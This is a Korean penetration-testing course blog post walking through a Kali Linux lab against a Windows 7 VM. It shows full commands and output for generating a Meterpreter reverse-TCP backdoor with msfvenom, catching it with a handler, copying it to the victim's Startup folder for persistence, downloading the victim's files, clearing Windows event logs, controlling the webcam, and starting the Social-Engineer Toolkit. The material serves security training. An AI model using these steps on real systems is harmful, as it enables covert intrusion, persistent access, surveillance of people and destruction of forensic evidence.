모의해킹 침해대응 전문가 과정

20160527 정보수집단계

22Hz 2016. 5. 28. 03:16

==================================================메 모==================================================

C:\Users\soldeskN\Desktop\JS\Security과정공유디렉토리(part1)\04_과정진행\02_2.1_모의해킹_침해대응_개요\02_정보수집단계\04_Metaspolit_Kali2.0.hwp

grep : 검색
sed : 편집
awk : 패턴처리

================================================2016_0526================================================

[실습] 칼리 리눅스 사용하기 4

메터프리터(Meterpreter)
● 루비(Ruby) 기반의 스크립트를 통해 취약점을 이용하여 대상 시스템에 침투한 후 간단한 명령어를 이용해 시스템의 정보를 획득할 수 있는 기능이다.
● 메타스플로잇에서 지원하는 라이브러리를 이용하기 때문에 어떤 방법을 이용해서 정보를 획득할 것인지에 대한 아이디어만 있다면 좋은 기능을 개발할 수 있다.
● (전제조건) 메터프리터는 대상 서버에 침투가 이루어졌다는 가정하에 수행되는 것이기 때문에 여로가지 방법(EX: 톰캣 취약점)이 선행적으로 수행해야 한다.


리소스(Resource) 파일로 시스템 침투 환경 만들기
● 취약점을 통해 침투를 통해 환경 만들기
● 취약점을 통해 침투한 후 백도어(Backdoor, 악성코드)를 통해 환경 만들기

수업에서는 시스템 침투 환경을 만들기 위해 백도어를 이용하여 테스트 환경을 만드는 실습을 진행한다.

 ■ 실습 시스템
 - KaliLinux
 - Windows 7

① 백도어 만들기
(Kali Linux)
# ifconfig | grep inet

          inet addr:192.168.10.50  Bcast:192.168.10.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe13:974a/64 Scope:Link
          inet addr:192.168.20.50  Bcast:192.168.20.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fe13:9754/64 Scope:Link
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host


# mkdir -p /root/bin
# cd /root/bin
# vi reverse_resource.rc

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.20.50
set ExitSession false
exploit -j -z

-> LHOST 부분에는 자신의 IP를 입력한다.

② 페이로드(Payload)를 사용하여 공격 코드 자동 생성

 [참고] msfvenom CMD 사용법
 # msfvenom
     -v, --var-name      <name>       Specify a custom variable name to use for certain output formats
     -p, --payload       <payload>    Payload to use. Specify a '-' or stdin to use custom payloads
     -f, --format        <format>     Output format (use --help-formats for a list)
         --help-formats               List available formats
     -o, --out           <path>       Save the payload

# msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.20.50 LPORT=4444 \
-f exe \
-o reverse_test.exe

No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86_64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Saved as: reverse_test.exe

-> LHOST에는 192.168.10.50 공격자의 IP 입력한다.
-> 생성된 reverse_test.ex 파일이 대상 시스템에서 실행하면 공격 시스템은 대상 시스템에 침투한 것과 동일한 환경이 된다.
# ls

reverse_resource.rc  reverse_test.exe


 reverse_resource.rc (KaliLinux) msfconsole CMD
 reverse_test.exe    (Windows 7) Backdoor

# file *

reverse_resource.rc: ASCII text
reverse_test.exe:     PE32+ executable (GUI) x86-64, for MS Windows


③ 대상 시스템(windows7)에 reverse_test.exe 파일을 복사

(가정) 여러가지 방법을 통해 reverse_test.exe 파일을 대상 PC(windows7)에 복사했다고 가정한다.

 ■ SAMBA(http://www.samba.org)
  Windows    : CIFS/SMB
  Linux/Unix : NFS

 (KaliLinux) samba 서버를 통해 /share 디렉토리를 공유한다.
 (windows 7) 공유 디렉토리에 접속한다.(\\192.168.20.50)

(KaliLinux)
# mkdir /share
# chmod 777 /share
# cp reverse_test.exe /share

# vi /etc/samba/smb.conf

..... (중략) .....
# Windows clients look for this share name as a source of downloadable
# printer drivers
[print$]
   comment = Printer Drivers
   path = /var/lib/samba/printers
   browseable = yes
   read only = yes
   guest ok = no
# Uncomment to allow remote administration of Windows print drivers.
# You may need to replace 'lpadmin' with the name of the group your
# admin users are members of.
# Please note that you also need to set appropriate Unix permissions
# to the drivers directory for these users to have write rights in it
;   write list = root, @lpadmin

[share]
   comment = Kali Linux Shared Directory
   path = /share
   browseable = yes
   read only = no
   writable = yes
   public = yes

-> 문서의 가장 하단에 새로운 내용을 입력한다.

# service smbd status

● smbd.service - LSB: start Samba SMB/CIFS daemon (smbd)
   Loaded: loaded (/etc/init.d/smbd)
   Active: inactive (dead)


# service smbd start
# service smbd status

● smbd.service - LSB: start Samba SMB/CIFS daemon (smbd)
   Loaded: loaded (/etc/init.d/smbd)
   Active: active (running) since 수 2015-11-04 12:04:45 KST; 4s ago
  Process: 7310 ExecStart=/etc/init.d/smbd start (code=exited, status=0/SUCCESS)
   CGroup: /system.slice/smbd.service
           ├─7319 /usr/sbin/smbd -D
           └─7321 /usr/sbin/smbd -D

11월 04 12:04:45 kali smbd[7310]: Starting SMB/CIFS daemon: smbd.


 nmbd daemon : NetBIOS 지원
 smbd daemon : SMB 지원

# smbclient -L localhost -N

Domain=[WORKGROUP] OS=[Unix] Server=[Samba 4.0.6-Debian]

 Sharename       Type      Comment
 ---------       ----      -------
 print$          Disk      Printer Drivers
 share           Disk      Kali Linux Share Directory
 IPC$            IPC       IPC Service (Samba 4.0.6-Debian)
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 4.0.6-Debian]

 Server               Comment
 ---------            -------
 KALI                 Samba 4.0.6-Debian
 SOLDESK-PC          

 Workgroup            Master
 ---------            -------
 WORKGROUP

 

(windows7)
공유 디렉토리에 접속하여 파일을 로컬로 복사한다.
\\192.168.20.50\share\resource_test.exe ---> 바탕화면으로 복사


(KaliLinux)
# cd /root/bin
# msfconsole -r reverse_resource.rc

                 _---------.
             .' #######   ;."
  .---,.    ;@             @@`;   .---,..
." @@@@@'.,'@@            @@@@@',.'@@@@ ".
'-.@@@@@@@@@@@@@          @@@@@@@@@@@@@ @;
   `.@@@@@@@@@@@@        @@@@@@@@@@@@@@ .'
     "--'.@@@  -.@        @ ,'-   .'--"
          ".@' ; @       @ `.  ;'
            |@@@@ @@@     @    .
             ' @@@ @@   @@    ,
              `.@@@@    @@   .
                ',@@     @   ;           _____________
                 (   3 C    )     /|___ / Metasploit! \
                 ;@'. __*__,."    \|--- \_____________/
                  '(.,...."/


Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
Metasploit Pro -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.9.2-2014052101 [core:4.9 api:1.0] ]
+ -- --=[ 1311 exploits - 784 auxiliary - 221 post        ]
+ -- --=[ 335 payloads - 35 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

[*] Processing reverse_resource.rc for ERB directives.
resource (reverse_resource.rc)> use exploit/multi/handler
resource (reverse_resource.rc)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (reverse_resource.rc)> set LHOST 192.168.20.50
LHOST => 192.168.20.50
resource (reverse_resource.rc)> set ExitSession false
ExitSession => false
resource (reverse_resource.rc)> exploit -j -z
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.20.50:4444
[*] Starting the payload handler...
msf exploit(handler) >

-> window7 에서 reverse_test.exe 파일이 실행될때 까지 기다린다.


(windows7)
reverse_test.exe 프로그램을 실행한다.


(KaliLinux)
KaliLinux에서 메세지 확인

[*] Sending stage (770048 bytes) to 192.168.20.202
[*] Meterpreter session 1 opened (192.168.20.50:4444 -> 192.168.20.202:49169) at
    2014-07-20 16:41:39 +0900
[deprecated] I18n.enforce_available_locales will default to true in the future. If you really want to skip validation of your locale you can set I18n.enforce_available_locales =
false to avoid this message.
<ENTER>
msf exploit(handler) > sessions -i

Active sessions
===============

  Id  Type                   Information                      Connection
  --  ----                   -----------                      ----------
  1   meterpreter x86/win32  soldesk-PC\soldesk @ SOLDESK-PC  192.168.20.50:4444 ->
                                                      192.168.20.202:49175 (192.168.20.202)

msf exploit(handler) > sessions -i 1    /* 1은 세션 번호이다. */
[*] Starting interaction with 1...

meterpreter > help

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information about active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    help                      Help menu
    info                      Displays information about a Post module
    interact                  Interacts with a channel
    irb                       Drop into irb scripting mode
    load                      Load one or more meterpreter extensions
    migrate                   Migrate the server to another process
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    use                       Deprecated alias for 'load'
    write                     Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    upload        Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    arp           Display the host ARP cache
    getproxy      Display the current proxy configuration
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service
    route         View and modify the routing table


Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getuid        Get the user that the server is running as
    kill          Terminate a process
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS


Stdapi: User interface Commands
===============================

    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components


Stdapi: Webcam Commands
=======================

    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam


Priv: Elevate Commands
======================

    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.


Priv: Password database Commands
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database


Priv: Timestomp Commands
========================

    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes

meterpreter > sysinfo
Computer        : SOLDESK-PC
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64 (Current Process is WOW64)
System Language : ko_KR
Meterpreter     : x86/win32

meterpreter> ipconfig
Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff


Interface 11
============
Name         : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:67:82:7c
MTU          : 1500
IPv4 Address : 192.168.20.202
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::888c:d406:3aa8:5513
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface 12
============
Name         : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280


Interface 13
============
Name         : Teredo Tunneling Pseudo-Interface
Hardware MAC : 00:00:00:00:00:00
MTU          : 1280
IPv6 Address : 2001:0:9d38:90d7:c41:3f24:3f57:eb35
IPv6 Netmask : ffff:ffff:ffff:ffff::
IPv6 Address : fe80::c41:3f24:3f57:eb35
IPv6 Netmask : ffff:ffff:ffff:ffff::

meterpreter > route

IPv4 network routes
===================

    Subnet           Netmask          Gateway         Metric  Interface
    ------           -------          -------         ------  ---------
    0.0.0.0          0.0.0.0          192.168.20.100  266     11
    127.0.0.0        255.0.0.0        127.0.0.1       306     1
    127.0.0.1        255.255.255.255  127.0.0.1       306     1
    127.255.255.255  255.255.255.255  127.0.0.1       306     1
    192.168.20.0     255.255.255.0    192.168.20.202  266     11
    192.168.20.202   255.255.255.255  192.168.20.202  266     11
    192.168.20.255   255.255.255.255  192.168.20.202  266     11
    224.0.0.0        240.0.0.0        127.0.0.1       306     1
    224.0.0.0        240.0.0.0        192.168.20.202  266     11
    255.255.255.255  255.255.255.255  127.0.0.1       306     1
    255.255.255.255  255.255.255.255  192.168.20.202  266     11

No IPv6 routes were found.
meterpreter > getuid
Server username: soldesk-PC\soldesk

meterpreter > pwd
C:\Users\soldesk\Desktop

meterpreter> lpwd
/root/bin

meterpreter > ls

Listing: C:\Users\soldesk\Desktop
=================================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
40555/r-xr-xr-x   0      dir   2014-07-18 20:11:38 +0900  .
40777/rwxrwxrwx   0      dir   2014-07-04 17:46:19 +0900  ..
100666/rw-rw-rw-  1379   fil   2014-07-09 22:12:02 +0900  Internet Explorer.lnk
40777/rwxrwxrwx   0      dir   2014-07-08 13:56:03 +0900  Security
100666/rw-rw-rw-  446    fil   2014-07-09 22:12:02 +0900  desktop.ini
100777/rwxrwxrwx  73802  fil   2014-07-20 16:37:01 +0900  reverse_test.exe

meterpreter > download            /* download 명령어 사용법 확인 */
Usage: download [options] src1 src2 src3 ... destination

Downloads remote files and directories to the local machine.

OPTIONS:

    -h        Help banner.
    -r        Download recursively.

meterpreter > download -r Security /root/bin
[*] downloading: Security\Thunderbird Setup 3.1.7.exe -> /root/bin/Thunderbird Setup 3.1.7.exe
[*] downloaded : Security\Thunderbird Setup 3.1.7.exe -> /root/bin/Thunderbird Setup 3.1.7.exe
-> 다운로드한 파일은 직접 확인하기 바란다.

meterpreter> pwd
C:\Users\soldesk\Desktop

meterpreter > cd ..
meterpreter> pwd
C:\Users\soldesk
meterpreter > cd AppData
meterpreter > cd Roaming
meterpreter > cd Microsoft
meterpreter > pwd
C:\Users\soldesk\AppData\Roaming\Microsoft
meterpreter > cd Windows
meterpreter > cd "Start Menu"
meterpreter > cd Programs
meterpreter > pwd
C:\Users\soldesk\AppData\Roaming\Microsoft\Windows\Start Menu\Programs
meterpreter > cd Startup
meterpreter > pwd
C:\Users\soldesk\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

meterpreter > upload reverse_test.exe .
[*] uploading  : reverse_test.exe -> .
[*] uploaded   : reverse_test.exe -> .\reverse_test.exe
-> 업로드한 프로그램 윈도우즈에서 확인한다.
-> 시작 > 모든 프로그램 > 시작 프로그램

meterpreter> reboot
Rebooting...
meterpreter >
[*] 192.168.20.202 - Meterpreter session 1 closed.  Reason: Died

msf exploit(handler) > quit

-> 시작 프로그램의 폴더 위치 :
 C:\Users\soldesk\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

# msfconsole -r reverse_resource.rc

  +-------------------------------------------------------+
  |  METASPLOIT by Rapid7                                 |
  +---------------------------+---------------------------+
  |      __________________   |                           |
  |  ==c(______(o(______(_()  | |""""""""""""|======[***  |
  |             )=\           | |  EXPLOIT   \            |
  |            // \\          | |_____________\_______    |
  |           //   \\         | |==[msf >]============\   |
  |          //     \\        | |______________________\  |
  |         // RECON \\       | \(@)(@)(@)(@)(@)(@)(@)/   |
  |        //         \\      |  *********************    |
  +---------------------------+---------------------------+
  |      o O o                |        \'\/\/\/'/         |
  |              o O          |         )======(          |
  |                 o         |       .'  LOOT  '.        |
  | |^^^^^^^^^^^^^^|l___      |      /    _||__   \       |
  | |    PAYLOAD     |""\___, |     /    (_||_     \      |
  | |________________|__|)__| |    |     __||_)     |     |
  | |(@)(@)"""**|(@)(@)**|(@) |    "       ||       "     |
  |  = = = = = = = = = = = =  |     '--------------'      |
  +---------------------------+---------------------------+


Validate lots of vulnerabilities to demonstrate exposure
with Metasploit Pro -- Learn more on http://rapid7.com/metasploit

       =[ metasploit v4.9.2-2014052101 [core:4.9 api:1.0] ]
+ -- --=[ 1311 exploits - 784 auxiliary - 221 post        ]
+ -- --=[ 335 payloads - 35 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

[*] Processing reverse_resource.rc for ERB directives.
resource (reverse_resource.rc)> use exploit/multi/handler
resource (reverse_resource.rc)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (reverse_resource.rc)> set LHOST 192.168.20.50
LHOST => 192.168.20.50
resource (reverse_resource.rc)> set ExitSession false
ExitSession => false
resource (reverse_resource.rc)> exploit -j -z
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.20.50:4444
[*] Starting the payload handler...
msf exploit(handler) >

-> 만약 대상 PC(windows7) 먼저 부팅한 상태라면 강제적으로 windows7를 재부팅한다.

(windows 7) soldesk 사용자로 로그인한다.
로그인 할 때 악성 프로그램이 실행 될것이다.

(KaliLinux)

msf exploit(handler) >
[*] Sending stage (770048 bytes) to 192.168.20.202
[*] Meterpreter session 1 opened (192.168.20.50:4444 -> 192.168.20.202:49161) at
    2014-07-20 17:50:09 +0900
<ENTER>
msf exploit(handler) > sessions -i

Active sessions
===============

  Id  Type                   Information                      Connection
  --  ----                   -----------                      ----------
  1   meterpreter x86/win32  soldesk-PC\soldesk @ SOLDESK-PC  192.168.20.50:4444 ->
                                                      192.168.20.202:49161 (192.168.20.202)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

-> KaliLinux에 다시 연결이 된다.
-> 이후에 작업들은 자유롭게 실습한다.

 

[실습] 작업시나리오를 만들어서 작업한다.
- 여러가지 CMD 수행해 본다.

 

---------------------------------- 실습 부분 수정 중 -----------------------------
(window 7) 로그 확인 작업
시작 > 제어판 > 관리도구 > 이벤트 뷰어
    > Windows 로그 > 시스템

(Kali Linux)

meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client

>> log=client.sys.eventlog.open('system')
=> #<#<Class:0xaa23ff0>:0xf22a704 @client=#<Session:meterpreter 192.168.20.202:49161
(192.168.20.202) "soldesk-PC\soldesk @ SOLDESK-PC">, @handle=34865156>
>> log.clear
=> #<#<Class:0xaa23ff0>:0xf22a704 @client=#<Session:meterpreter 192.168.20.202:49161
(192.168.20.202) "soldesk-PC\soldesk @ SOLDESK-PC">, @handle=34865156>
>> quit
meterpreter >

-> log=client.sys.eventlog.open('system') 중 system 부분에는
 security, system, application, directory service, 'dns server',
 'file replication service'
   등이 들어 갈수 있다.
-> 파일은 /usr/share/metasploit-framework/scripts/meterpreter/winenum.rb 파일 중 clrevlogs()
   함수 부분을 참고한다.

(windows 7) 로그 확인 작업

 (주의)

시작 > 제어판 > 관리도구 > 이벤트 뷰어
    > Windows 로그 > 시스템

---------------------------------- 실습 부분 수정 중 -----------------------------


[실습] 작업시나리오를 만들어서 작업한다.
-> security, system, applicationk, directory service, dns server, file replication service 등 -> 여러가지에 대해서도 로그를 지우는 작업에 대해서 테스트 한다.
-> (주의) 권한이 되지 않아서 못 지울수도 있다. 그럼 일부 테스트는 넘기고 다른 테스트를 한다.

 

[실습] 웹캠제어
-> 노트북에 장착이 되어 있는 웹캠 디바이스를 칼리 리눅스에서 제어해 보자.
-> 사용하는 명령어는 다음과 같다.
 webcam_list  설치돼 있는 웹캠의 정보를 가져온다.
 webcam_start  목록에서 도출된 웹캠을 선택해서 시작한다.
 webcam_get_frame  사진의 프레임 값을 정한다. 화질을 지정할 때 사용한다.
 webcam_stop  웹캠의 실행을 중지한다.
 webcat_audio_record 웹캠 마이크를 사용해 녹음을 지원한다.

-> 다른 장치(기기)에 대해서도 위험성에 대해 논의한다.
 - 스마트 TV
 - 핸드폰
 - 건물내 감시카메라

 

 

[실습] 칼리 리눅스 사용하기 5

 [참고] 칼리리눅스 스냅샷 뜨기
 VMware > VM > snapshot > Take snapshot

(Kali Linux)
MSF 업데이트 작업

# nslookup www.daum.net

Server:  168.126.63.1
Address: 168.126.63.1#53

Non-authoritative answer:
www.daum.net canonical name = www.g.daum.net.
Name: www.g.daum.net
Address: 117.52.2.238
Name: www.g.daum.net
Address: 117.52.2.237


# msfupdate

[*]
[*] Attempting to update the Metasploit Framework...
[*]

[*] Checking for updates via the APT repository
[*] Note: expect weekly(ish) updates using this method
[*] Updating to version 4.9.3-2014071601-1kali2
패키지 목록을 읽는 중입니다... 완료
의존성 트리를 만드는 중입니다      
상태 정보를 읽는 중입니다... 완료
다음 패키지를 업그레이드할 것입니다:
  metasploit metasploit-framework
2개 업그레이드, 0개 새로 설치, 0개 제거 및 110개 업그레이드 안 함.
249 M바이트 아카이브를 받아야 합니다.
이 작업 후 5,627 k바이트의 디스크 공간을 더 사용하게 됩니다.
받기:1 http://http.kali.org/kali/ kali/main metasploit-framework i386 4.9.3-2014071601-1kali2 [68.4 MB]
받기:2 http://http.kali.org/kali/ kali/non-free metasploit i386 4.9.3-2014071601-1kali2 [180 MB]              
내려받기 249 M바이트, 소요시간 3분 48초 (1,086 k바이트/초)                                            
Reading changelogs... Done
(데이터베이스 읽는중 ...현재 337773개의 파일과 디렉터리가 설치되어 있습니다.)
metasploit-framework 4.9.2-2014052101-1kali1 패키지를 대체할 준비하는 중입니다
(.../metasploit-framework_4.9.3-2014071601-1kali2_i386.deb 사용) ...
대체되는 metasploit-framework 패키지를 푸는 중입니다 ...
metasploit 4.9.2-2014052101-1kali1 패키지를 대체할 준비하는 중입니다
(.../metasploit_4.9.3-2014071601-1kali2_i386.deb 사용) ...
[ ok ] Stopping Metasploit worker: worker.
[ ok ] Stopping Metasploit web server: thin.
[ ok ] Stopping Metasploit rpc server: prosvc.
'/usr/bin/msfbinscan의 /usr/bin/msfbinscan.framework(으)로 전환, metasploit 패키지'에서 나갑니다
'/usr/bin/msfcli의 /usr/bin/msfcli.framework(으)로 전환, metasploit 패키지'에서 나갑니다
'/usr/bin/msfconsole의 /usr/bin/msfconsole.framework(으)로 전환, metasploit 패키지'에서 나갑니다
'/usr/bin/msfd의 /usr/bin/msfd.framework(으)로 전환, metasploit 패키지'에서 나갑니다
'/usr/bin/msfelfscan의 /usr/bin/msfelfscan.framework(으)로 전환, metasploit 패키지'에서 나갑니다
'/usr/bin/msfencode의 /usr/bin/msfencode.framework(으)로 전환, metasploit 패키지'에서 나갑니다
'/usr/bin/msfmachscan의 /usr/bin/msfmachscan.framework(으)로 전환, metasploit 패키지'에서 나갑니다
'/usr/bin/msfpayload의 /usr/bin/msfpayload.framework(으)로 전환, metasploit 패키지'에서 나갑니다
'/usr/bin/msfpescan의 /usr/bin/msfpescan.framework(으)로 전환, metasploit 패키지'에서 나갑니다
'/usr/bin/msfrop의 /usr/bin/msfrop.framework(으)로 전환, metasploit 패키지'에서 나갑니다
'/usr/bin/msfrpc의 /usr/bin/msfrpc.framework(으)로 전환, metasploit 패키지'에서 나갑니다
'/usr/bin/msfrpcd의 /usr/bin/msfrpcd.framework(으)로 전환, metasploit 패키지'에서 나갑니다
'/usr/bin/msfupdate의 /usr/bin/msfupdate.framework(으)로 전환, metasploit 패키지'에서 나갑니다
'/usr/bin/msfvenom의 /usr/bin/msfvenom.framework(으)로 전환, metasploit 패키지'에서 나갑니다
대체되는 metasploit 패키지를 푸는 중입니다 ...
metasploit-framework (4.9.3-2014071601-1kali2) 설정하는 중입니다 ...
metasploit (4.9.3-2014071601-1kali2) 설정하는 중입니다 ...
insserv: warning: current start runlevel(s) (empty) of script `metasploit' overrides LSB defaults (2 3 4 5).
insserv: warning: current stop runlevel(s) (0 1 2 3 4 5 6) of script `metasploit' overrides LSB defaults (0 1 6).
[ ok ] Starting PostgreSQL 9.1 database server: main.
[ ok ] Starting Metasploit rpc server: prosvc.
[ ok ] Starting Metasploit web server: thin.
[ ok ] Starting Metasploit worker: worker.

 

[실습] 칼리 리눅스 사용하기 6
● 윈도우즈(window7)에 Metasploit 다운로드 하고 설치해 보자.

                       +--- (CLI) msfcli CMD      : non-interractive
 MSF(msfd) ----+--- (CLI) msfconsole CMD  : interractive
                       +--- (GUI) armitage        :
                       +--- (GUI) msfgui/msfweb   :


Armitage 도구와 msfgui
● Armitage는 Raphael Mudge가 개발한 GUI 기반을 둔 도구로 자동 공격 도구(점검 도구)인 메타스플로잇의 도구 중 하나로 포함돼 있다.
● 스캔을 통해 해당 서비스에 적합한 공격을 골라내 선택할 수 있고, 옵션들도 자동으로 입력되기 때문에 점검자 입장에서는 많은 고민을 하지 않아도 되는 아주 편리한 도구이다.
● Armitage와 msfgui가 MSF 4.6부터는 무료 버전에서는 지원되지 않는다. 따라서 해당 도구를 사용하기 위해서는 윈도우 환경에서 별도의 프로그램 설치해 사용하거나, MSF 업데이트한 것에서 모듈을 가져와 기존 버전을 올려서 사용하는 방안을 검토해야 한다.


사용시스템
 - Windows 7
 - Firewall


다음 사이트에서 프로그램을 다운로드 한다.

 msfgui 최신 버전 다운로드
 - http://www.scriptjunkie.us/2013/04/using-the-gui-in-metasploit-4-6/

 Metasploit 최신 버전 다운로드(윈도우용)
 - http://metasploit.com/download

(주의) 설치전에 잠시 Virus Detection 툴은 종료한다.

Metasploit 최신 버전을 윈도우에 설치한다.
 인터넷 점검(외부와 통신 가능 여부 확인)

 MSF 최신 버전으로 다운로드(윈도우용) - http://metasploit.com/download
  Metasploit Community 버전 선택

msfgui 프로그램을 윈도우에 설치한다.
 msfgui 최신 버전 프로그램을 다운로드
  http://www.scriptjunkie.us/2013/04/using-the-gui-in-metasploit-4-6/

 

 

[실습] 칼리 리눅스 사용하기 7

패스트 트랙(Fasttrack): 자동 공격 도구
● 메타스포로잇 모듈을 사용한다.
● 이 도구는 메타스포로잇에 기반을 두고 있고 공격 기법 중 하나인 Autopwn 공격은 내장되어 있는 기능 중 엔맵(nmap)을 통해 네트워크 스캐닝 작업을 하여 대상 시스템을 검색하고, 그에 대한 운영체제, 포트, IP 주소를 분석하며 그에 해당하는 모든 취약점을 자동화 스크립트로 공격한다.
● 칼리리눅스에서는 SET(사회 공학 기법)에 통합되었다.

SET(Social Engineering Tech., 사회 공학적 공격 기법)
● 사회공학이란 컴퓨터 보안에서 인간 상호작용의 깊은 신뢰를 바탕으로 사람들을 속여 정상 보안 절차를 깨트리기 위한 비기술적 침입 수단이다.
● APT(Advanced Persistent Threat) 공격이 이제 공공기관과 특정 사용자를 타겟 대상으로 접근하다 보니 더욱더 내부적인 보안에 신경을 쓰게 되었다.


사용시스템
- Kali Linux
- Windows 7

 

(Kali Linux)

SE Tookit 실행 방법
 Kali Linux > Exploitation Tools > Social Engineering Toolkit > setoolkit
 or
 # setoolkit

# vi /usr/share/set/config/set_config

### Path to the pem file to utilize certificates with the web attack vector (required)
### You can create your own utilizing set, just turn on self_signed_cert
### If your using this flag, ensure openssl is installed! To turn this on turn SELF_SIGNED_CERT
### to the on position.
[수정전]
SELF_SIGNED_CERT=OFF
[수정후]
SELF_SIGNED_CERT=ON

-> http://chogar.blog.me/80210217409 칼리리눅스에서 SET 사용법에 대한 자세한 내용

# setoolkit

[*] Checking to see if bleeding-edge repos are active.
[!] Bleeding edge repos were not detected. This is recommended.
Do you want to enable bleeding-edge repos for fast updates [yes/no]: yes
[*] Adding Kali bleeding edge to sources.list for updates.
[*] It is recommended to now run apt-get update && apt-get upgrade && apt-get dist-upgrade && apt-get autoremove and restart SET.
[-] New set_config.py file generated on: 2014-07-21 13:45:07.325217
[-] Verifying configuration update...
[*] Update verified, config timestamp is: 2014-07-21 13:45:07.325217
[*] SET is using the new config, no need to restart

Copyright 2013, The Social-Engineer Toolkit (SET) by TrustedSec, LLC
All rights reserved.

Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:

    * Redistributions of source code must retain the above copyright notice, this list of
      conditions and the following disclaimer.
    * Redistributions in binary form must reproduce the above copyright notice, this list
      of conditions and the following disclaimer
      in the documentation and/or other materials provided with the distribution.
    * Neither the name of Social-Engineer Toolkit nor the names of its contributors may be
      used to endorse or promote products derived from
      this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

The above licensing was taken from the BSD licensing and is applied to Social-Engineer Toolkit as well.

